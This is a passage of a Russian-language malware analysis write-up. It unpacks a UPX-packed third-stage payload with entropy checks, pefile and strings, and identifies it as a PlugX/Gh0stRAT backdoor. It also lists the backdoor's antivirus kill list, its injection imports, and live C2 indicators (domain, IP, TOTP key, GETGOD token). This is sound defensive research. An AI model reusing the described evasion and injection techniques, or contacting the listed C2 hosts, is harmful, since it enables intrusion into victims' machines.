for b in block: freq[b] = freq.get(b, 0) + 1
return -sum((c/len(block)) * log2(c/len(block)) for c in freq.values())
for i in range(0x2804, 0x2804 + 0xa000, 0x1000):
e = entropy(data[i:i+0x1000])
bar = '#' * int(e * 4)
print(f"0x{i:05x}: {e:.2f} {bar}")
Код:
0x02804: 3.22 ############
0x03804: 7.86 ###############################
0x04804: 7.86 ###############################
0x05804: 7.86 ###############################
0x06804: 7.86 ###############################
0x07804: 7.86 ###############################
0x08804: 7.86 ###############################
0x09804: 7.86 ###############################
0x0a804: 0.00
Первый блок PE-файла - энтропия 3.22, очень низкая. Это заголовок: он состоит из фиксированных полей, нулевых выравниваний и магических констант - данные предсказуемые. Следующие 7 блоков - энтропия ~7.86, практически максимум. Такое бывает у зашифрованных данных или у сжатых. Последний блок - нули.
Складывается следующая картина:
[B]0x0000–0x2803[/B] - шеллкод. Энтропия ~6: это машинный код, он разнообразен, но не настолько случаен, как сжатые данные.[B]0x2804–0xa003[/B] - PE-файл. Заголовок с низкой энтропией, тело с максимальной - признак упаковки.[B]0xa004–конец[/B] - нули. Это виртуальная память, которая потребуется после распаковки PE. Упакованный файл несёт её с собой, чтобы при загрузке в память сразу иметь нужное пространство.Пока предположение такое:
Смещение | Содержимое |
|---|---|
0x0000–0x2803 | Шеллкод-загрузчик |
0x2804–0xa003 | PE-файл, упакованный UPX |
0xa004–конец | Нули (память под распакованный PE) |
Зачем шеллкод перед PE? Самое вероятное - это рефлективный загрузчик - код, который самостоятельно разворачивает встроенный PE-файл в памяти, не вызывая стандартный
LoadLibrary. Обычный LoadLibrary регистрирует DLL в списке модулей процесса - любой антивирус это заметит. Рефлективный загрузчик разбирает PE-заголовки вручную, применяет перемещения, разрешает импорты - бэкдор оказывается в памяти невидимым для стандартных средств мониторинга.Теперь, когда мы понимаем структуру полученного файла, можем попытаться вытащить из него само PE приложение
Распаковка payload:
Извлекаем PE-файл:
Код:
import pefile, datetime
with open("stage3_payload.bin", "rb") as f: data = f.read()
# Вырезаем PE начиная с найденного смещения и сохраняем отдельно
pe_data = data[0x2804:]
with open("stage3_extracted_pe.bin", "wb") as f: f.write(pe_data)
pe = pefile.PE(data=pe_data)
ts = datetime.datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp)
print(f"Скомпилирован: {ts}")
for s in pe.sections: print(s.Name.rstrip(b'\x00').decode())
Код:
Скомпилирован: 2022-12-01 02:05:39 UTC
UPX0
UPX1
UPX2
Имена секций
UPX0 / UPX1 / UPX2 говорят об упаковке UPX (Ultimate Packer for eXecutables) - именно он давал энтропию ~7.86 в предыдущем шаге. UPX - легитимный компрессор исполняемых файлов, существует с 1990-х. Упакованный файл при запуске сам себя распаковывает в память и передаёт управление распакованному коду. В мире легального ПО UPX почти не используется - современные программы не страдают от размера. Зато в малвари популярен: распакованный бэкдор никогда не появляется на диске, только в памяти, а дисковые сигнатуры антивируса не срабатывают.Также видим, что в отличие от предыдущих файлов, с которыми мы имели дело, этот скомпилирован в 2022 года, достаточно давно
Распаковываем:
upx -d stage3_extracted_pe.bin -o stage3_unpacked.exeИз 30 КБ получили 48 КБ - распакованный зловред.
Снова считаем hash и идем на VirusTotal, не теряем надежды
5896eefa211a0ac0a69ddd7e4be3c2bcda71202d469be735a47eac824e7bf112На этот раз файл ему знаком
Скриншот с VirusTotal
Но для полноты картины давайте опознаем его самостоятельно
Идентификация крысы
Запускаем
strings без фильтров и смотрим что выплывает:strings stage3_unpacked.exe | lessЗамечаем там:
cmd.exe -Puppetcmd.exe -Puppet - нестандартный аргумент командной строки, явно не системный. Поиск по этой строке немедленно даёт результат: это характерная строка Gh0stRAT - одного из старейших китайских бэкдоров, исходники которого утекли в открытый доступ ещё в 2008 году и с тех пор активно переиспользуются.Внимательный читатель заметил, что это название уже упоминалось выше, когда мы вычисляли фразу GETGOD.
Собственно, наш зловред - тот же самый, что описывается в статье, за исключением первого этапа.
В
strings также находим следующее:
Код:
-Puppet
cmd.exe -Puppet
PluginMe
\config.ini
ONLINE.dll
TSAPI32.dll
Всё остальное элементарно достается из гугла
Маркеры Gh0stRAT
[B]cmd.exe -Puppet[/B] - «puppet shell» это главная функция Gh0stRAT. Бэкдор запускает cmd.exe со специальным аргументом, перехватывает его стандартный ввод и вывод, и транслирует их на C2-сервер в реальном времени. Злоумышленник буквально получает интерактивную командную строку на машине жертвы.Маркеры PlugX
[B]PluginMe[/B] - это имя экспортируемой функции, которую обязана иметь каждая DLL-плагин PlugX. PlugX - модульный фреймворк: основной бэкдор загружает дополнительные компоненты (плагины) по команде от оператора.[B]\config.ini[/B] + импорт GetPrivateProfileStringA - PlugX хранит адреса C2-серверов, ключи шифрования и настройки в INI-файле на диске.[B]ONLINE.dll[/B] / [B]TSAPI32.dll[/B] - имена DLL-плагинов. PlugX использует технику DLL side-loading: называет свои библиотеки похоже на легитимные системные (tsapi32.dll напоминает rasapi32.dll), чтобы Windows загрузила их вместо настоящих.Продолжая листать
strings, замечаю длинный список .exe-файлов. Фильтрую:strings stage3_unpacked.exe | grep -i "\.exe$" | sort -u
Код:
360sd.exe
360tray.exe
BaiduSdSvc.exe
HipsTray.exe
K7TSecurity.exe
KvMonXP.exe
Mcshield.exe
Miner.exe
QQPCRTP.exe
RavMonD.exe
TMBMSRV.exe
V3Svc.exe
ashDisp.exe
avcenter.exe
avp.exe
egui.exe
ksafe.exe
kxetray.exe
mssecess.exe
patray.exe
rtvscan.exe
Это список антивирусных процессов для завершения - стандартная практика для RAT. Все - достаточно знакомые. И отдельно -
[B]Miner.exe[/B]: злоумышленник убивает не только антивирусы, но и криптомайнеры - освобождает ресурсы или устраняет конкурирующее заражение.Таблица импортов
Смотрим таблицу импортов - тем же способом, что и для Stage 1:
Код:
pe2 = pefile.PE("stage3_unpacked.exe")
for lib in pe2.DIRECTORY_ENTRY_IMPORT:
print(f"\n{lib.dll.decode()}:")
for imp in lib.imports:
if imp.name:
print(f" {imp.name.decode()}")
Код:
KERNEL32.dll: CreateRemoteThread WriteProcessMemory VirtualAllocEx CreateToolhelp32Snapshot Process32First ...
WININET.dll: InternetOpenUrlA InternetReadFile ...
USER32.dll: OpenInputDesktop SetThreadDesktop ...
ADVAPI32.dll: RegOpenKeyExA RegQueryValueExA ...
Импортированная функция | Что означает |
|---|---|
CreateRemoteThread + WriteProcessMemory + VirtualAllocEx | Внедрение кода в чужой процесс |
InternetOpenUrlA + InternetReadFile | Загрузка плагинов по HTTP |
OpenInputDesktop + SetThreadDesktop | Доступ к рабочему столу (аналог VNC) |
CreateToolhelp32Snapshot + Process32First | Перечисление всех процессов |
RegOpenKeyExA + RegQueryValueExA | Работа с реестром (закрепление) |
GetPrivateProfileStringA | Чтение config.ini с настройками C2 |
На этом можно закончить статический анализ, картина сложилась. Осталось кратко описать всю схему в одном месте для ленивых читателей
Полная картина атаки
Код:
Жертва запускает IMAGE_IM_...&.pif
│
│ Stage 1: Загрузчик (EV-подписанный)
│ ├─ IsDebuggerPresent (антиотладка)
│ ├─ Загружает winhttp.dll, bcrypt.dll динамически
│ ├─ Вычисляет TOTP (SHA1, ключ KIOVZD2AVAAADDTS)
│ └─ GET https://login.guyundaji.com/verify
│ Headers: X-ID: <machine_id>, X-TOTP: <6 digits>
│
▼ Ответ: ICO-файл (77 904 байта, скрыт за Cloudflare)
│ Слот 5 (ICO_OUT) → шеллкод Stage 2 (byte−1 расшифровка)
│
│ Stage 2: Шеллкод (1 902 байта, x86 PIC)
│ ├─ Обход PEB → находит kernel32.dll, ws2_32.dll
│ ├─ XOR 0x63 → IP=43.99.54.234, port=443
│ ├─ VirtualAlloc(317 332 байта, RWX)
│ ├─ connect(43.99.54.234:443)
│ └─ send("GETGOD\0") → recv(318 356 байт)
│
▼ Stage 3: Рефлективный загрузчик + UPX-бэкдор
│ ├─ Распаковывает UPX PE в память (без LoadLibrary)
│ └─ PlugX/Gh0stRAT (скомпилирован 2022-12-01)
│ ├─ cmd.exe -Puppet (удалённая оболочка)
│ ├─ VNC-подобный доступ к рабочему столу
│ ├─ Инъекция в процессы
│ ├─ Завершение 25+ антивирусов
│ └─ InternetOpenUrlA → загрузка дополнительных плагинов по HTTP
Выводы
Общая схема работы зловреда
Финальная нагрузка - PlugX/Gh0stRAT - даёт атакующему полный контроль над машиной жертвы: интерактивная оболочка, доступ к рабочему столу, внедрение в процессы, отключение антивирусов, почти полное отсутствие артефактов на диске. Весьма опасный инструмент. Но при этом - не уникальный и не новый.
Сам бэкдор скомпилирован в 2022 году, и его поведение уже описано в открытых источниках. Механизм получения нагрузки через токен
GETGOD упоминается в публикации Kaspersky. На Hybrid Analysis есть другой образец, который ходит на тот же IP. То есть Stage 3 и Stage 2 так или иначе уже светились - исследователи их видели.Новым и по-настоящему опасным является другое. На момент анализа VirusTotal не знал ни первоначальный файл, ни ICO с шеллкодом. Домен
login.guyundaji.com нигде не засветился. Китайская компания Beijing Guyundaji Trading Co., Ltd с EV-сертификатом от Certum - тоже впервые. Именно это сочетание и делает атаку практически невидимой: известный бэкдор доставляется через полностью чистую, нигде не упоминавшуюся инфраструктуру с легитимной подписью кода.Антивирус молчит. SmartScreen молчит. Файл подписан настоящим EV-сертификатом. Пользователь кликает на то, что выглядит как фото из мессенджера - и получает полноценный RAT в памяти, которого даже не существует на диске.